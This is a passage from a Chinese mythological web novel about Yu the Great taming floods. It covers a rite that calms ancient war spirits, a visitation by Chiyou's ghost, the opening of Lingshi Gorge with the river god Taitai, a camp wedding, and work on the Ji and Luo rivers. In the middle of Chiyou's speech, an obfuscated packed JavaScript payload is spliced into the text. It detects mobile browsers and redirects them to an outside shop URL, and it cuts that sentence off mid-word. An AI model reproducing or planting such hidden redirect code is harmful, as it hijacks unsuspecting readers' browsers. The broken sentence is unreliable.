在壅塞之坝前,一方更为庄重、更为复杂的祭坛已然设立。巫盼指挥着几名岳卫战士和自愿帮忙的民夫,用洗净的白色卵石垒砌成三层圆坛,对应天、地、人三才。坛心铺设着一张巨大的、鞣制过的完整兽皮,上面用朱砂混合着某种矿粉勾勒出繁复的星辰与地脉图谱。四方分别插着代表四象的青龙、白虎、朱雀、玄武旗幡(以相应颜色的麻布和羽毛简单制成),虽简陋,却自有一股肃穆之气。祭坛周围,还摆放着三牲祭品——一头黑鬃公猪、一只纯色山羊、一头壮硕的黄牛,它们已被清洁过,安静地待在那里。 巫盼有点踉跄地立于祭坛下东方位,身着绘有古老符文的麻布祭袍,手持玉璧,闭目凝神,口中念念有词,似乎在最后沟通着天地间的某种韵律。 禹率领着平水土之师的核心成员以及部分岳卫,肃立在祭坛外围稍远的安全距离。每个人都屏息凝神,空气中只有风声和巫盼低沉晦涩的吟哦声。砺紧握着千钧破,警惕地注视着四周。羲青手中托着墨玉星盘,盘面上光芒流转,她正在记录着祭仪引发的地脉能量微妙变化。伯益则好奇地观察着几只不知从何处飞来、落在附近枯树上的乌鸦,似乎在侧耳倾听。 祭仪正式开始。巫盼猛然睁开双眼,眼中精光一闪,手捧玉璧,开始踏着一种古老而奇异的步伐,环绕祭坛舞蹈,每一步都仿佛踩在某种无形的节点上,口中吟唱: “奉牺献牲,醇酒沥地。 告彼英灵,息此兵气。 干戈化帛,血沃生息。 魂归厚土,神返天霁。 轩辕旌旗,九黎鼓钲。 俱往矣哉,莫萦于心。 寒潭为鉴,照尔初心。 各安其所,勿相侵凌。 天清地宁,水道自明。 怨消戾散,各归其程。 北酆开路,南斗引灯。 敕令所指,万灵遵行!” 随着他的舞步唱祷,玉璧清辉大盛,如同水银泻地,缓缓流向那巨大的壅塞坝体。三牲祭品仿佛被无形的力量抽取了生机,缓缓萎靡下去,其蕴含的生命精华化作道道白气,融入玉璧的清辉之中。 壅塞坝体开始发生肉眼可见的变化。那些渗出的粘稠黑血,不再仅仅是减缓,而是开始逐渐凝固、收缩,最后化作黑色的粉屑,簌簌落下。坝体中,开始浮现出无数模糊的身影,不再是之前那般狂暴扭曲,而是显得迷茫、疲惫。 一个身披残破熊皮、手持断斧的黄帝方战士虚影浮现,他望着对面一个戴着牛角盔、浑身是伤的九黎武士虚影,沙哑道:“…为了…有熊氏的荣耀…” 那九黎武士虚影顿了顿,低沉回应:“…为了…九黎能活下去…” 又有一个驾驭着猛虎战魂的虚影叹息:“…死了…都死了…为了什么…” “…家园…回不去了…”另一个虚影哭泣。 “…累…好累…”越来越多的声音响起,充满了无尽的疲惫与解脱的渴望。 双方的怨魂,在这强大的净化与导引之力下,似乎终于开始摆脱那万年积怨的束缚,回忆起了战斗之外的初衷,感受到了超越阵营的共通疲惫与悲伤。那弥漫天地间的怨念,如同冰雪遇阳,开始缓缓消融、褪去。虽然并未立刻晴空万里,但那令人窒息的压抑感确实减轻了大半,连空气都似乎变得清明了一些。 禹深深呼吸,感到脚下大地那持续了万年的痛苦痉挛正在逐渐平复。弥合上古创伤的第一步,终于艰难迈出。 砺带领民夫开始疏通河道。当他们在疏通一处位于峡谷最深处的水窍时(这里是怨气凝结的核心),连羲青星盘的光芒在此都显得黯淡。禹亲临指挥,金鳞、苍鬃奋力清除着洞口巨石,墨琛潜入探测。 突然,墨琛发出一声急促的警告龙吟!一股浓郁得化不开的、带着血腥味的漆黑毒瘴,混合着汩汩涌出的"黑血",从洞窍中猛烈喷发出来!其速度之快,范围之广,远超预料! 禹首当其冲!眼看就要被那足以腐蚀神魂的毒瘴吞没! “禹——”一声呼喊响起!是一旁的小赤须龙!他飞身扑向禹,冲到半空化为龙形,飞翔在天! 就在地脉为之一清,所有怨戾被净化之际,一个更加古老、威严的虚影在那原本渗出黑血的洞穴深处隐约浮现——那是一个头生双角、耳鬓如剑戟、铜头铁额的巨大颅骨虚影!正是蚩尤之魂! 众人顿时屏息凝神,岳卫锐士们下意识地握紧武器,却又被那威严的气势所震慑。巫盼率先躬身行礼,其他人也纷纷跟随。 蚩尤之魂的目光扫过被净化的土地,又看向巫盼和禹,最后定格在虚空中某处,发出沉浑的声音:“黎贪,吾之旧部。千年矣,执念犹存否?” 那虚空中传来一声不甘的嘶吼:“尤公!我不甘心!我们本该……” “住口!”蚩尤之魂的声音如雷霆般炸响,“败于轩辕,乃天命与时运,非战之罪,更非尔等之过。困守于此,以怨戾阻塞天地,殃及后世生灵,岂是吾辈战士所为?吾魂归天地,已为战神,护佑的是不屈的战魂与生存的家园,而非无尽的怨恨。放下吧……” 那虚空中似乎传来一声不甘却又释然的叹息,最后一缕顽固的怨念也随之彻底消散。 这时,蚩尤之魂转向禹,目光如电:“姒禹,你可知为何我能安息,而黎贪不能?” 禹恭敬行礼:“请战神示下。” “因为我战得堂堂正正,败得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705146|189169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心服口服。而黎贪,他放不下的不是失败,而是自己的执念。”蚩尤之魂的声音回荡在峡谷中,“治水如治世,堵不如疏。这道理,你比你父亲明白得早。” 禹肃然起敬:“谨遵战神教诲。” 蚩尤魂影对着禹微微颔首,旋即隐去。 障碍既除,在龙族的全力奋战和众人的努力下,最后一处关键隘口终于被打通! 禹站在河边,寒风吹动他破旧的麻衣,露出黝黑精瘦、伤痕累累的臂膀。他年仅三十四岁,但长年的风餐露宿、殚精竭虑,已让他面容黧黑,皱纹深镌,鬓角早生华发,看起来竟如五十许人。唯有那双眼睛,依旧锐利如鹰隼,洞穿山河脉络。 “传令,”他的声音沙哑却不容置疑,“主力转向汾水流域。另遣精干小队,详勘汾水全程,尤重吕梁南段,寻觅山势薄弱之处,以为突破口。”他深知,父亲鲧壅防百川的失败,在于徒堵不疏。他必须依循山川本性,因势利导,方是长治久安之策。 深秋,平水土之师抵达汾水下游。虽已枯水,但河岸两侧淤泥深厚,枯树挂草,无不昭示着夏日洪水的肆虐。远方,吕梁山脉如一道巨大的阴影,横亘天际,压抑之感扑面而来。 “司空,”前方探路的战士回报,“已探明,吕梁南段有一处极险要的喉扼,山势合拢,河道骤窄,水中巨石壅塞。汾水至此,上行无路,下行险急,夏秋之水壅塞于此,倒灌晋中,乃洪涝根源。” 禹目光凝重,聚焦在那遥远的天险。破解此锁,需非凡之力。他摸了摸腰间的伏羲开山斧,神物似有感应,传来微温。但仅凭神斧开山还不够,汾水中游河道亦需疏导,需得此地水神相助,方能事半功倍。然而,他禹一介凡人,并非专职沟通鬼神的巫祝,如何请动一方水神? 当晚,禹来到巫盼的帐内慰问,见他斜倚在干草上,面色透着久病未愈的苍白,先一步上前按住想挣扎起身的他,关切问道:“巫盼,大伾山旧伤未好,冀州沟通天地又耗了太多精气,这一路虽乘车随行,颠簸想来也磨人 —— 你身子眼下还撑得住吗?伤势可有反复?” 巫盼被按回干草上,气息微促地致歉:“劳司空挂心,臣本该起身行礼,可这身子实在虚软,竟连这点力气都没有,实在失礼。” 他顿了顿,缓了缓气才续道:“旧伤倒未反复,只是精气耗损过甚,如今稍动便觉乏力,也只能躺着了。” 待巫盼气息稍匀,禹才沉声道:“我今日来,除了看你,更有一事挂心 —— 眼下汾水疏导迟迟难进,我总觉心里不踏实,想听听你的看法。” 巫盼闻言,眼中凝起几分郑重,缓缓道:“司空,汾水之神名台骀,乃上古之神,司掌汾水久矣。近年水患频仍,百姓怨声载道,台骀身为水神,必也承受巨大压力,神力或因怨念而受损。其内心或有自责,亦渴求解脱。司空携平定大河之威,怀造福苍生之志,此心此志,或可上达天听。不妨以诚祭祀,陈明利害,邀其共解水厄,非为命令,而为合作。” 禹深以为然。于是,在晋中盆地边缘,择高敞之地,设坛祭祀。没有奢华祭品,只有三牲五谷,诚意赤忱。禹亲自祷祝,声音沉浑,传于四野:“汾水之神台骀在上!禹,奉舜命,平治水土。今汾水肆虐,黎民苦久。此非尊神之过,实乃天地变异,山川壅塞所致。禹不才,愿竭肱股之力,劈山导水,解民倒悬。然独木难支,恳请尊神现身,共商疏浚大计,还汾水清晏,保一方安宁!功成之日,百姓感念,尊神亦得享安祀!” 祭祀完毕,夜幕降临,万籁俱寂。忽然,汾水河面泛起幽幽青光,水汽凝聚,一位身着玄色水纹袍、面容清癯却带疲惫之色的神祇显化而出,正是台骀。他的眼神复杂,既有神祇的威严,又透着一丝难以掩饰的愧疚与无奈。 “司空,”台骀开口,声音如流水潺潺,却带着涩意,“汝之心意,吾已感知。汾水之患,吾心如煎。身为水神,守土有责,然天地之力剧变,非吾一神所能逆挽。百姓之怨,吾亦承受……每每听闻咒骂之声,神力便为之震荡。汝能体谅此心,邀吾共治,而非问罪,台骀……感激不尽。” 禹躬身一礼:“尊神言重。水患乃天下共业,非一人一神之责。禹此番前来,正是欲与尊神合力,永绝此患。请尊神指点水脉,疏导中游;开山之事,禹自当尽力。” 台骀眼中闪过一丝希望之光:“好!司空快人快语!灵石口乃关键,其山体乃上古玄石,坚硬异常,非神力难开。中游河道,吾熟悉每一处暗流浅滩,可助汝引导水势,冲刷淤泥,巩固河床。你我神人合力,必能功成!” 计议已定。翌日,禹率精锐抵灵石口。但见两岸峭壁如刀削斧劈,直插云霄,最窄处仅漏一线天光。峡内激流咆哮,声震峡谷,浊浪拍击礁石,卷起千堆雪。 禹屏息凝神,立于峡口最险处。他运转神力,周身泛起浑厚的土黄色光芒,与大地脉动相连。缓缓举起伏羲开山斧,神斧感应到主人意志与前方阻碍,嗡鸣作响,古老符文次第亮起,洪荒之气弥漫开来。 “开——!” 一声暴喝,石破天惊!禹双臂奋力挥下,开山斧化作一道撕裂苍穹的璀璨光华,携无匹威势,直劈山脊! 轰——!!! 巨响远超雷霆,整个吕梁山脉为之震颤!斧光过处,坚硬无比的玄石山体应声而裂,一道巨大的缝隙瞬间蔓延!山崩地裂,巨石滚落,烟尘冲天而起,仿佛天地初开! 禹毫不停歇,身形如电,接连数斧劈出!每一斧都精准落在山体结构的关键节点,裂缝不断扩大、加深。台骀亦在水中显化神通,引导汾水之力配合冲击,巨浪翻涌,将崩落的巨石卷入河道,冲刷带走。 天地失色,山川易形。伯益飞速记录这惊天动地的一幕。凤鸟在一旁,看得目眩神迷,又心潮澎湃。砺紧握刀柄,护卫在侧,心中对禹的敬畏更深。羲青望着禹伟岸的背影,眼神复杂,下意识地摸了摸怀中那许久未动的墨玉星盘——自大伾山之战后,她深感星盘推演耗神巨大,且近期治水多依地理形势与人力,而非玄奥的星象变异,故她暂未动用,让其灵性得以休养,也让自己更专注于实际事务。 连续数日,斧声隆隆,水声滔滔。终于,一声前所未有的巨响后,灵石口被彻底劈开!一道宽阔崭新的峡谷呈现眼前,被禹命名为“灵石峡”。汾水积郁已久的力量瞬间得到释放,如同挣脱枷锁的巨龙,欢腾奔涌,向着黄河浩荡而去! 峡成之时,台骀身影凝实,向禹深深一揖:“司空神威,开山辟地!汾水生灵,永感大德!中游之事,台骀义不容辞!”言罢,化清流融入汾水,履行诺言去了。望着畅通的河道,禹知道,晋中之患,根除矣。 主力劈开灵石峡的战斗进入最艰苦的阶段。峭壁上,工匠们悬绳凿孔;河道中,民夫们清淤运石。砺督工的身影终日穿梭在尘土飞扬的工地,嗓音因终日呼喊而沙哑。就在这片喧嚣中,一场意外的婚礼正在酝酿。 一日黄昏,藤女找到刚从河道爬上来的砺。夕阳将她的侧脸镀上一层金边,神色平静得近乎肃穆。“工正,我有了身孕。”她直接开口,看见砺瞬间苍白的脸色,反而微微一笑,“但你不必自责,那夜是我自愿。我知你心属青姊,从未敢有奢望。”她望向远处正在挑土的阿壮,“我已决定与阿壮在一起。” 砺闻言一怔,顺着她的目光望去。那个叫阿壮的民夫正扛着土石,身影在夕阳下拉得很长。砺努力在纷杂的记忆中搜寻关于这个年轻人的片段——印象确是模糊的。他只记得那是个沉默肯干的汉子,皮肤黝黑,力气似乎不小。好像有几次收工时,远远瞥见他帮藤女扛过编筐的藤绳,也曾在水边递过盛水的陶罐。但在繁忙的工地上,民夫们互相搭把手是再寻常不过的事,身为工正,砺的目光掠过无数协作劳作的场景,从未对这其中任何一幕投注过特别的关注。此刻,这些零碎的画面却突然变得清晰起来,原来那些他未曾留意的寻常里,早已埋下了今日的伏笔。 砺嗫嚅道:“藤女,我对不住你……” “真的不必。”藤女打断他,“祝愿你和青姊永结同心。”她转身走入暮色。 三日后,灵石峡畔一片难得的平坦河滩上,篝火熊熊燃起,驱散了深峡的寒意与水汽。得知藤女与阿壮将举行婚礼,禹特意下令,从本就不宽裕的公共储备中拨出些许黍米与肉干,以为庆贺。他亲自挑选了一块上好的磨制石斧,递给阿壮:“阿壮,此后便是成家立业之人,当如这石斧,稳重可靠。好好待藤女,共建家园。”阿壮憨厚地咧嘴笑着,黑红的脸膛被火光映得发亮,他郑重地双手接过石斧,然后小心翼翼地扶着藤女微显轮廓的腰身,眼中满是珍视。 婚礼虽简朴,却充满了真挚的祝福。百草采集了峡畔新开的野花,巧手编成花冠,戴在藤女发间,为她增添了几分娇艳。蒲牢吹响了浑厚的牛角号,伯益击打石磬,发出清越悠扬的节奏。在众人的簇拥下,藤女与阿壮相视一笑,共同举起盛满黍酒的陶碗。 凤鸟,这位来自东夷的轻捷少女,站起身,走到篝火旁的空地,唱起一支祝福歌: “藤蔓依依,磐石无移。 汾水汤汤,良缘永栖。 晨昏偕作,刈黍撷葵。 春秋共守,瓜瓞繁滋。” 优美的歌声,蕴含着对婚姻坚韧、长久、子孙繁盛的美好祝愿,在峡谷中回荡。凤鸟不仅唱,还巧妙地模仿了清风吹过藤叶的沙沙声、溪水流过石上的潺潺声,为歌声增添了生动的意境。伯益击磬的手微微放缓,目光追随着火光中凤鸟灵动的身影,嘴角不自觉地带上了温柔的笑意。此刻,他坚信能与这个如风般自由的女子相守到老,丝毫不知命运早已布下迷雾与荆棘。 就在歌声暂歇的间隙,与藤女一同自雍梁前来投奔的几位伙伴围了上来。雍钺用力拍了拍阿壮结实的臂膀,朗声道:“好小子!日后若让藤女受半点委屈,我们几个雍梁老乡可不答应!” 姜石、巴瑶和羌笛也笑着附和。 一向心细的辛夷轻轻拉住藤女的手,将她稍稍带离喧闹的中心,低声道:“看到你如今这般安稳模样,我真替你高兴。”她目光温柔,带着些许如释重负的意味。藤女何等聪慧,立刻明了这位早已心属巫盼的姐妹话中深意,她反握住辛夷的手,眼角瞥见不远处正与禹商议事情的巫盼,不禁莞尔,悄声打趣道:“莫要只顾说我,待你与大巫的好事近了,我定从这新辟的田垄里,为你采来最鲜嫩的荇菜为贺。”辛夷闻言,脸颊顿时飞上两抹红霞,羞赧地轻推了藤女一下,两人相视而笑,往昔那点因情感而产生的微妙担忧,在此刻尽数化为对彼此未来的真诚祝福。 砺站在人群外围,默默注视着这一切。看到藤女与阿壮共饮合卺酒,又与旧日伙伴们笑语嫣然时,他心中那最后一丝难以完全抹去的复杂酸楚,终于被这温馨的场景渐渐抚平,化作纯粹的释然与祝福。忽然,他感到自己的手被一只温热的手轻轻握住。他回头,见是羲青不知何时来到了他身边,眼中含笑。砺心中一暖,反手将她的手紧紧握住——是啊,洪流终将归海,他们每个人,都在命运的浪潮中找到了各自奔赴的河床。 婚礼的气氛达到高潮时,藤女与阿壮携手走到禹的面前。藤女深深一礼,声音清晰而坚定:“司空,承蒙您与大伙一直以来的照拂。我与阿壮既已在此成婚,便想恳请于您:待灵石峡通渠之后,我们愿留在此地,结庐而居,垦殖岸边新淤之土。这孩子……”她轻抚小腹,“也该在安稳之地长大,不再四处奔波。” 禹凝视他们良久,不禁想起阳城家中女娇倚门相望的身影,心下恻然。他郑重颔首,声音洪亮,既是回应他们,也是宣告众人:“准!此乃美事!汾水初定,正需似你等这般愿扎根于此的勤恳之人,方能令新辟之地重现生机。待洛水功成,大局更定,我必遣人送来更多谷种与农具,助你等安居乐业!凡愿落户新土者,皆可如此例!” 禹的承诺不仅温暖了藤女和阿壮的心,也让周围许多同样憧憬安稳的民夫们看到了未来的希望。篝火噼啪作响,映照着每一张充满期盼的脸庞,简单的婚礼,也因此承载了更为深远的意义——不仅是个人情感的归宿,更是治水大军所开拓的、通往新生活的起点。 而在欢腾的人群中,凤鸟悄然退回伯益身边,两人相视一笑,那份属于青春的、以为能战胜一切的美好信念,在夜色中闪闪发光,却也为未来那个无法送达的消息,埋下了令人心碎伏笔。 12. 第12章:鼎定九州 舜摄政九年,禹治水第七载,春寒料峭。 汾水灵石峡新辟的豁口处,轰鸣的水声日夜不息,宣告着晋中平原水患的消弭。然而,凯旋的喜悦尚未在平水土之师中弥漫开来,一场关乎下一步战略的紧急会议,就在禹那间简陋却戒备森严的中军大帐内召开。帐内火光跳跃,映照着核心成员们凝重疲惫的面容。空气中弥漫着泥土、汗水和一丝不易察觉的焦虑。 禹将几片沉重的木牍摊开在临时拼凑的木桌上,上面刻满了伯益汇总的各州水情。他抬起布满血丝的眼睛,声音因连日督工而沙哑,却带着不容置疑的决断:“诸位,汾水初定,本是可喜之事。然,伯益最新勘报,”他手指重重敲在代表兖州、青州的区域,“济水失道,清浊混淆,漫溢成泽;漯水淤塞,难分黄河怒涛。下游之地,已成汪洋!若我等满足于汾水之功,止步于此,待夏汛一到,黄河滔天洪水无处可去,必将倒灌回溢!届时,不仅兖、青生灵涂炭,我等数年心血,亦将顷刻间化为乌有!” 他环视众人,目光灼灼:“黄河之巨患,其根不在中游疏通,而在下游壅塞!故我意已决——”他猛地站起,斩钉截铁地说道,“主力即刻转道向东,兵发济水!不疏济、漯,天下难安!” 帐内一片寂静,唯有火把噼啪作响。皋陶率先打破沉默,他抚着腰间象征律法的玉琮,肃然道:“司空所言极是。律法之要,在于防患于未然。下游水患乃心腹之疾,不可不除。只是……此时节已近春汛,雨季施工,风险倍增。”作为士师,他必须提醒可能的风险。 负责工程调度的砺眉头紧锁,接口道:“士师所虑甚是。春汛水涨,施工艰难,民夫易生疲沓畏惧之心。且新辟河道,若遇暴雨,极易前功尽弃。”这位沉默坚韧的工正,最清楚工程的现实困难。 这时,一直低头研究木牍的伯益抬起头,他眼中闪烁着学者特有的专注光芒:“司空,砺工正,据我走访当地耆老所得,济水情况特殊。其水性至清,本有独立河道,不与黄河合流,古语云‘导沇水,东流为济’。如今看似被黄河侵夺,实则是其故道淤塞,无力抗拒所致。若能寻得古河道,抢在夏汛主峰到来之前疏通关键节点,或许能借助春汛本身的水势,冲刷淤泥,事半功倍!此乃险中求胜之策。”他精通水性与地理,提出了技术上的可能性。 羲青指间摩挲着墨玉星盘,补充道:“星盘虽受黄河浊气干扰,难以精确定位济水灵脉,但观星象气运,未来一月虽有雨,却无特大暴雨之兆。若能抓住此窗口期,集中力量,或可一搏。只是,勘探必须万分精准,一旦失误,后果不堪设想。”作为记录者和星象观察者,她提供了天时的判断。 禹听着众人的意见,沉思片刻,最终拍板:“伯益之言,正合我意!治水如用兵,贵在出其不意,把握时机。春汛虽险,亦是我等助力!风险固然有,然下游万民处于水深火热,岂能因畏难而踟蹰不前?砺,你即刻着手调配人力物资,准备东进!伯益、羲青,勘探之事,重中之重,便托付你二人!皋陶,请加强军纪宣导,稳定人心,并提前与东方诸部落联络,争取支持!” “领命!”众人齐声应道,帐内弥漫开一股背水一战的决绝气氛。 平水土之师浩荡东行,越过太行山南麓尚未完全化冻的崎岖山道,踏入王屋山脉怀抱时,已是仲春。济水之源,藏于这群山褶皱之中,本应是一派清幽景象。然而,现实却令人心沉。王屋山麓涌出的济水,清冽见底,潺潺如歌,但下行不足十里,形势陡变。浑浊巨黄的黄河之水,如同蛮横的巨兽,自北面咆哮而来,强大的水势倒灌入济水河道,将其原本清弱的河道撑得四分五裂,肆意漫流。放眼望去,昔日良田尽成泽国,水面上只露出树梢和丘陵的顶冠,犹如一片绝望的群岛。空气里弥漫着水腥与腐烂植物的气味,偶尔可见逃难的百姓驾着简陋的木筏或抱着树干漂流,面容枯槁,眼神麻木。 大军在王屋山支脉一处地势较高的台地扎营。当晚,禹再次召集会议,这次地点设在营地边缘,可以俯瞰下方那片浑浊的水域。篝火旁,伯益详细汇报了初步勘察的困境:“司空,我与几位通晓东夷方言的助手连日走访,情况不容乐观。济水古河道的确切位置,因多年黄河泥沙淤积和洪水改道,已难以追寻。本地部落虽知济水之名,但对其故道具体走向,众说纷纭。” 羲青补充道,她手中的墨玉星盘在夜色下泛着微光,但指针依旧摇摆:“此地地脉气机被黄河浊流完全压制,星盘感应极其微弱,只能指出大致的东南方向,无法精确导航。” 如何在这片混沌中找到那缕清流的踪迹?禹再次陷入沉思。他屏退左右,独自登上附近一座名为“天坛峰”的山巅(传说为黄帝祈天之所),手持颛顼玄圭,闭目凝神,摒弃杂念,全力感受着脚下大地的脉搏与水流最细微的悸动。夜深露重,玄圭终于传来一种独特的、清冷而坚韧的共鸣,虽微弱,却持续不断,隐隐指向东南方一片巨大的古湖泽遗迹——荥泽的方向。 翌日,禹调整策略,将重点放在深入联络当地部落上。他命砺亲自负责此事。砺虽不善言辞,但为人诚恳踏实,他带着阿牛、芦花以及善于沟通的雍梁子弟姜石、巴瑶等人,携带少量盐巴、陶器等礼物,分头拜访散布于丘陵高地的部落。 这其中,以“有莘氏”和“有鬲氏”两个部落最为重要。有莘氏是古老的东夷大族,世代居住于此,传说其先祖与禹的父亲鲧还有过交集,对本地水文地理知之甚详;有鬲氏则以制陶闻名,与中原部落关系若即若离,保持着一定的独立性。 砺首先拜访的是有莘氏。部落首领是一位名叫“莘仲”的老者,年约六旬,面容清癯,目光深邃。他在部落中心一座宽敞的茅屋中接待了砺。屋内悬挂着兽骨和羽毛,充满古老的气息。 “工正远来辛苦,”莘仲的声音缓慢而沧桑,“济水之患,我族深受其苦。昔年鲧伯治水,亦曾至此,欲壅防百川,最终……唉。”他叹了口气,话语中带着对过往失败的记忆。“不知司空此次,有何良策?” 砺恭敬地行礼,坦诚相告:“老首领,司空之法,与鲧伯不同。非为强堵,而在疏导。欲寻济水故道,助其重归东海,以解黄河之压。然故道难寻,特来请教贵部智慧。” 莘仲沉吟片刻,唤来一位更年长的耄耋巫者,名为“莘巫”。莘巫须发皆白,几乎不能视物,但记忆却如浩瀚的海洋。他坐在火塘边,用沙哑的嗓音,吟唱起部落代代相传的古歌谣: “清济伏流兮,地脉潜行; 三隐三现兮,至海乃明。 荥泽之畔兮,蒲苇深深; 下有灵窍兮,泉眼通冥……” 唱罢,莘巫对砺道:“工正,济水非同寻常之水,其性至洁,不屈不挠。你等可在荥泽东南,蒲苇最茂之处探寻,或有所得。切记,循其性,莫逆其志。” 与此同时,禹也在营地接见了有鬲氏的首领“鬲山”。鬲山是个四十多岁的中年汉子,性格爽朗,但眼神中带着商人的精明。他直接问道:“司空治水,若能成功,我等部落自然感激。但不知成功之后,这新辟的土地、恢复的河道,归属如何?赋税贡品,又当如何计算?”他关心的是实实在在的利益。 禹看着鬲山,正色道:“鬲山首领,平水土非为一人一姓之私利,乃为天下苍生。水患既平,土地自然归耕者所有,朝廷只会收取合理的赋税,用于公共之事。至于具体章程,待水患平定后,我将奏明舜帝,划定疆土,明确赋贡,必使公平有序,绝不令出力者吃亏。”他语气诚恳,又示意一旁的弃取出一些中原带来的优质粟种,“这些种子,可先在高地试种,以度荒时。” 鬲山见禹态度坦诚,且有利可图,态度顿时热络起来:“司空如此明理,我鬲氏愿出青壮百人,助司空一臂之力!并提供陶器、食物若干!” 有了部落的支持,勘探工作取得突破。伯益和羲青根据莘巫的歌谣和玄圭的指引,果然在荥泽东南一片巨大的蒲苇荡下,发现了地下伏流的迹象。掘地数尺,清泉涌出,水质甘冽,与济水源头无异!这证实了济水“三隐三现”的神秘特性(其河道有三段潜行地下,复又涌出),也找到了疏浚的关键节点。 工程随即全面展开。时值春末,雨水渐多,施工条件极其恶劣。砺作为工正,压力巨大。他每日黎明即起,深入工地,指挥调度数以万计的民夫和部落青壮。开凿工作异常艰辛,淤泥之下是胶结的河卵石层,普通石镐难以撼动。民夫们站在齐膝深的泥水中,劳作稍久,便双腿麻木,加之春雨冰冷,病倒者日增。怨言和疲惫情绪开始蔓延。 一日,春雨连绵,工地泥泞不堪,进展缓慢。几名来自兖州的民夫因家乡灾情心急,与负责监工的岳卫锐士石牛发生了口角,险些酿成冲突。砺闻讯急忙赶到。他没有立刻斥责任何人,而是跳进泥坑,接过一名老民夫手中的石镐,奋力挖掘起来。他沉默地干了半个时辰,浑身泥浆,汗水混合着雨水流下,才直起腰,对围观的民夫们大声道:“乡亲们!我知道大家辛苦!想家!但想想咱们家乡泡在水里的爹娘妻儿!这济水早一天通,他们就能早一天回家!我砺在此立誓,不通此水,绝不离开!伙食从优,病者立治!有功者,司空必有重赏!”他的行动和话语朴实有力,暂时稳定了人心。 弃和他女儿百草也忙碌异常。弃不仅要保障粮草供应,还要指导民夫和部落民众在新显露的滩涂上试种耐涝的菰米和蒲草,并调配草药救治病患。百草则带着仓实和几名助手,穿梭于营地和新垦的田垄间,辨识草药,指导妇女采集可食用的野菜水藻,以补充粮食不足。她的善良和医术,赢得了许多人的好感。岳卫中的年轻锐士飞猿,身手敏捷,常被派往险峻处探查或协助运输,他默默关注着百草,有时会悄悄放一些罕见的甜浆果或漂亮的鸟羽在她采药的背篓旁。而弃的另一名手下仓实,虽也心仪百草,但他性格内向,只知埋头核对粮帐,远不如飞猿那般灵动体贴。弃将这一切看在眼里,心中对飞猿更添几分认可,但念及治水重任,且女儿年纪尚小,并未点破。 皋陶则运用律法手段保障工程。他宣布了严格的工地律令:盗窃物资、煽动怠工者重罚;奋勇争先、发明有效工法者重赏。同时,他了解到当地某些部落曾有洪水时以活人祭祀河神的陋习,便严令禁止,并宣讲“天视自我民视,天听自我民听”之理,强调疏通水道方能根本解决问题,赢得了底层民众的拥护。 禹更是身先士卒。他采纳了伯益的建议,利用春汛水势,在关键隘口“沇水口”采用“火烧水激”之法(先用柴火炙烤岩石,再泼冷水使其崩裂)加速开凿,并亲自设计督建分水石堰,引导济水清流东去,有效阻挡黄河倒灌。他的身影时常出现在最危险、最艰苦的工段,与民夫同甘共苦。这种与部落合作、上下同心的氛围,逐渐凝聚成一股强大的力量。 历经数月艰苦卓绝的奋斗,济水故道终被疏通拓宽。当最后一块巨石被移开,积蓄已久的清冽济水,如同挣脱囚笼的玉龙,欢快地涌入久违的河床,发出震天的轰鸣,迤逦东行,穿过菏泽,汇入大野泽,最终直奔渤海而去。沿途,淤积的沼泽逐渐干涸,露出肥沃的泥土。两岸百姓欢呼雀跃,称颂禹功。有莘氏首领莘仲感慨道:“司空之法,顺水之性,合民之心,真乃天授也!”禹亦对伯益叹道:“水有水性,犹人有人心。强堵逆性,必生灾祸;顺势疏导,方得安澜。济水至清,独行不染,此等坚韧,实为我辈楷模!”济水后被尊为“四渎”之一。 舜摄政十年,禹治水第八载,夏。 济水功成,师未解甲,仅作短暂休整,便即刻北上,直指黄河下游另一条生命线——漯水。与济水的独立清高不同,漯水是黄河自然分出的叉流,性情更为暴烈直接,承担着分泄黄河主河道洪峰的巨大压力。 此时已入盛夏,天气闷热难当,乌云常聚天际。平水土之师抵达漯水与黄河分流处时,但见河口泥沙淤积如山,河道狭窄如颈,显然已难堪重负。禹深知夏汛主峰转瞬即至,时间紧迫,在动工之前,必须尽快完成精确测绘,以定疏浚方案。 整个营地如同精密的器械般运转起来。禹亲自率领核心团队,负责最紧要也最危险的主河道测绘。羲青负责定位与校准;皋陶从旁记录数据并审视工程的法度与可行性;岳盾则精选锐士随行护卫,并指挥辅助人员。 砺指挥着石牛、木鹞、土根、黑石等一批擅长工程与力气的成员,在计划线路上清理障碍、开辟临时道路,并为后续施工预备石料、木料。工地上,号子声与敲击声此起彼伏。石牛沉默地挥舞巨锤,敲碎挡路的岩石;木鹞则评估着地形,设计着未来堤坝的雏形;土根和黑石合力搬运着木材,黑石依旧嘴不闲着:“土根,再挺把劲!咱这膀子力气,得等伯益他们勘好河道、定好工法,才好真使上劲儿修堤哩!”土根腾出一只手抹了把汗,憨厚地咧嘴笑:“俺家婶子正托人给俺寻亲事哩 —— 等这漯水治平了,俺也能踏实盖间屋,不耽误娶媳妇!” 不苟言笑的岳盾沉稳地巡视着安全,哑巴跟在他身侧,那双锐利的眼睛总能提前发现松动的石块或潜在的险情,及时扯扯岳盾的衣角发出无声警报。 与此同时,伯益与凤鸟则沿漯水沿岸开展另一项重要工作——调查生态资源、物产分布以及动物迁徙路径,为未来水患平息后的农耕定居、恢复生机做准备。他们的路线与禹的测绘队时而并行,时而交错。 晨雾散尽时,漯水漫过青石滩,芦苇穗子坠着露。伯益俯身检查土壤的湿度和成分;凤鸟则敏锐地观察着岸边植被和鸟兽踪迹,在骨片上刻画符号记录。几只水鸟掠过,伯益凝神倾听它们的鸣叫,转头对凤鸟说:“上游有一片浅滩,鱼虾丰富,附近的鸟儿说,那里土质也肥,将来或可垦为良田。” 凤鸟挽起麻布衣摆,利落地在岸边做了标记,腕上赭石串子叮咚撞响。她明亮的眼睛里带着笑意:“若能如此,沿岸的族人便有了生计。” 日头爬过芦苇梢时,伯益抹着颈后汗珠,状似不经意地开口:“昨儿我托人给家里捎了口信。”凤鸟正将一株特有的水草样本收入藤筐,闻言手指顿了顿。 